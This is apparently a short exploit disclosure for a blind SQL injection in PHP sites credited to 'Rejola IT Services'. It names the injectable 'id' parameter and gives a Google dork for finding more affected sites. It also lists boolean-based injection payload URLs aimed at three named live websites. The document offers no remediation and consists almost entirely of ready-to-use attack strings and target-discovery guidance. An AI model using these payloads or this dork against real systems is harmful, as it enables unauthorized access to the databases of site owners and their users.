********************************************************* # Exploit Title: Rejola IT Services - Blind SQL Injection Vulnerability # Date: 2025-04-30 # Exploit Author: AmirHossein Abdollahi | Mr_Amir_Typer # Google Dork: intext:"By Rejola IT Services" # Category: WebApps # Tested On: Windows, Firefox ********************************************************* [+] Vulnerable Parameter: `id` in URLs with `.php?id=` ********************************************************* ### Demo 1: https://josh.community/single-product.php?id=53' and 1=1--+ https://josh.community/single-product.php?id=53' and 1=2--+ ### Demo 2: https://shinysurendran.com/blog1.php?id=7' and 1=1--+ https://shinysurendran.com/blog1.php?id=7' and 1=2--+ ### Demo 3: https://365tours.in/destination-detail.php?id=365T_00072' and 1=1--+ https://365tours.in/destination-detail.php?id=365T_00072' and 1=2--+ ********************************************************* [+] Google Dork: intext:"By Rejola IT Services" ********************************************************* # Discovered by: AmirHossein Abdollahi | Mr_Amir_Typer